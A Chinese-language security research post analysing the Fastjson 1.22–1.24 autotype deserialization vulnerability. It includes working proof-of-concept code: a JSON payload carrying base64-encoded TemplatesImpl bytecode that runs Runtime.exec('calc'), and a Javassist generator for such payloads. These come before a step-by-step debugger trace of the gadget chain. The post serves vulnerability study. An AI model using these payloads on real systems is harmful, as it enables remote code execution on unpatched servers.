Java安全之Fastjson反序列化漏洞分析
首发:先知论坛
0x00 前言
在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。
0x01 Fastjson使用
在分析漏洞前,还需要学习一些Fastjson库的简单使用。
Fastjson概述
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多,都是处理json数据。可参考该篇文章:Java学习之jackson篇。其实在jackson里面也是存在反序列化漏洞的,这个后面去分析,这里不做赘述。
Fastjson使用
使用方式:
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
Fastjson序列化
代码实例:
定义一个实体类
package com.fastjson.demo;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
定义一个test类:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
System.out.println(s);
}
}
运行后结果为:
{"age":18,"name":"xiaoming"}
这是一段标准模式下的序列化成JSON的代码,下面来看另一段。
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
// String s = JSON.toJSONString(user);
// System.out.println(s);
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
执行结果:
{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
在和前面代码做对比后,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON
的数据就会多一个@type,这个是代表对象类型的JSON
文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。
Fastjson反序列化
代码实例:
方式一:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
// System.out.println(s);
User user1 = JSON.parseObject(s, User.class);
System.out.println(user1);
}
}
方式二:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject);
}
}
这种方式返回的是一个JSONObject
的对象
方式三:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
User user1 = JSON.parseObject(s1,User.class);
System.out.println(user1);
}
}
执行结果都是一样的
User{name='xiaoming', age=18}
这三段代码中,可以发现用了JSON.parseObject
和 JSON.parse
这两个方法,JSON.parseObject
方法中没指定对象,返回的则是JSONObject
的对象。JSON.parseObject
和 JSON.parse
这两个方法差不多,JSON.parseObject
的底层调用的还是JSON.parse
方法,只是在JSON.parse
的基础上做了一个封装。
在序列化时,FastJson
会调用成员对应的get
方法,被private
修饰且没有get
方法的成员不会被序列化,
而反序列化的时候在,会调用了指定类的全部的setter
,publibc
修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容,可自行测试一下。
0x02 Fastjson反序列化漏洞复现
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
漏洞攻击方式
在Fastjson这个反序列化漏洞中是使用TemplatesImpl
和JdbcRowSetImpl
构造恶意代码实现命令执行,TemplatesImpl
这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl
是需要利用到前面学习的JNDI注入来实现攻击的。
漏洞复现
漏洞版本:fastjson 1.22-1.24
利用链:TemplatesImpl
这里做一个简单的demo
构造恶意类:
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fj_poc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
执行成功,_bytecodes
对应的数据里面可以看到是Base64编码的数据,这数据其实是下面这段代码,编译后进行base64加密后的数据。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
但是在使用运用中个人觉得更倾向于这个poc
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;
public class gadget {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用Javassist动态生成恶意类放到_bytecodes
中。这里发现几个问题,
- 如果是只对
_bytecodes
插入恶意代码为什么需要构造这么多的值。 -
_bytecodes
中的值为什么需要进行Base64加密。 - 在反序列化的时候为什么要加入
Feature.SupportNonPublicField
参数值。
@type :用于存放反序列化时的目标类型,这里指定的是
TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发;_bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码_name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。_tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。
前面说到的之所以加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
来查看一下TemplatesImpl
。
这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField
参数则无法反序列化成功,无法进行利用。
由此可见Fastjson中使用TemplatesImpl
链的条件比较苛刻,因为在Fastjson中需要加入Feature.SupportNonPublicField
,而这种方式并不多见。
0x03 Fastjson TemplatesImpl链 反序列化漏洞分析
下断点开始跟踪漏洞
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
}
这里有几个参数传入,并直接调用了parseObject
的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据,这里即是我们的payload数据。
clazz为指定的对象,这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。
实例化了一个DefaultJSONParser
,并调用parseObject
方法,跟踪parseObject
。
调用derializer.deserialze
方法进行跟踪。
来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class
,type不等于
Serializable.class
条件为true调用parser.parseObject
,条件为flase调用parser.parse
。很显然这里会调用parser.parse
方法。继续跟踪。
这里将this.lexer
的值,赋值给lexer,而这个this.lexer
是在实例化DefaultJSONParser
对象的时候被赋值的。回看我们代码中的DefaultJSONParser
被创建的时候。
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
调用重载方法
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
这里面去调用 lexer.getCurrent()
跟踪代码发现就是从lexer返回ch的值。而下面的这段代码
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
调用lexer.getCurrent()
,获取到是ch中数据如果为{
就将lexer.token
设置为12,如果为[
设置 lexer.token
设置为14。
调用lexer.getCurrent()
,获取当前字符这里获取到的是双引号。lexer这个是JSONScanner
实例化对象,里面存储了前面传入的Json数据,但是这里疑问又来了,既然是Json的数据,那么前面的{
去哪了呢?为什么这里获取到的不是这个{
花括号。
还记得我们前面加载DefaultJSONParser
重载方法的时候new JSONScanner()
,跟踪查看他的构造方法就知道了
public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next();
if (this.ch == '\ufeff') {
this.next();
}
}
构造方法里面调用了this.next();
public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}
返回com.alibaba.fastjson.parser.DefaultJSONParser#parse
进行跟踪代码。
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
...
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
通过刚刚的分析得知这里的lexer.token()
等于12会走到 case 12:
这里
调用this.parseObject
继续跟踪
这里可以看到获取下一个字符是否为双引号,而后去调用lexer.scanSymbol
方法进行提取对应内容数据。
查看一下参数this.symbolTable
。
这里则是提取了@type
接着走到这个地方
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
判断key是否等于@type
,等于则获取@type
中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。
下面走到这段代码
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
跟踪,加载两次重载来到这里
上面的代码中直接就获取到了outputProperties
跟踪一下,sortedFieldDeserializers.fieldInfo
是怎么被赋值的。
查看发现是在构造方法被赋值的,也就是实例化对象的时候
public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
this.clazz = beanInfo.clazz;
this.beanInfo = beanInfo;
this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
int i = 0;
int size;
FieldInfo fieldInfo;
FieldDeserializer fieldDeserializer;
for(size = beanInfo.sortedFields.length; i < size; ++i) {
fieldInfo = beanInfo.sortedFields[i];
fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
this.sortedFieldDeserializers[i] = fieldDeserializer;
}
返回上层,JavaBeanDeserializer
是在this.config.getDeserializer
被创建的,跟进一下
return this.getDeserializer((Class)type, type);
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
boolean match = this.parseField(parser, key, object, type, fieldValues);
接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build
下面有几个关键代码
在通过@type
获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法
set的查找方式:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
get的查找方式:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
这样一来就获取到了TemplatesImpl
的getOutputProperties()
返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
继续调试跟踪
前面都是重复的内容,遍历去获取json中的内容。
直接定位到这一步进行跟踪
替换_
字符为空
执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField
来到这一步
进行反射调用执行TemplatesImpl
的getOutputProperties()
方法。
接着则来到了这里
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
到了这里其实也就不用跟了,和前面的JDK7u21后半段的链是一样的。
在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes
为什么需要进行base64编码的问题,也是分析的时候跟踪漏了。
返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
查看
在解析byte数据的时候回去调用this.lexer.bytesValue();
,跟踪就会看见会调用IOUtils.decodeBase64
进行base64解密
贴出调用链
0x04 结尾
看到网上部分分析文章,分析漏洞只分析了几个点。直接就在某个地方下断点,然后跳到某一个关键位置的点进行分析,很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过,所以漏洞真的分析清楚了嘛?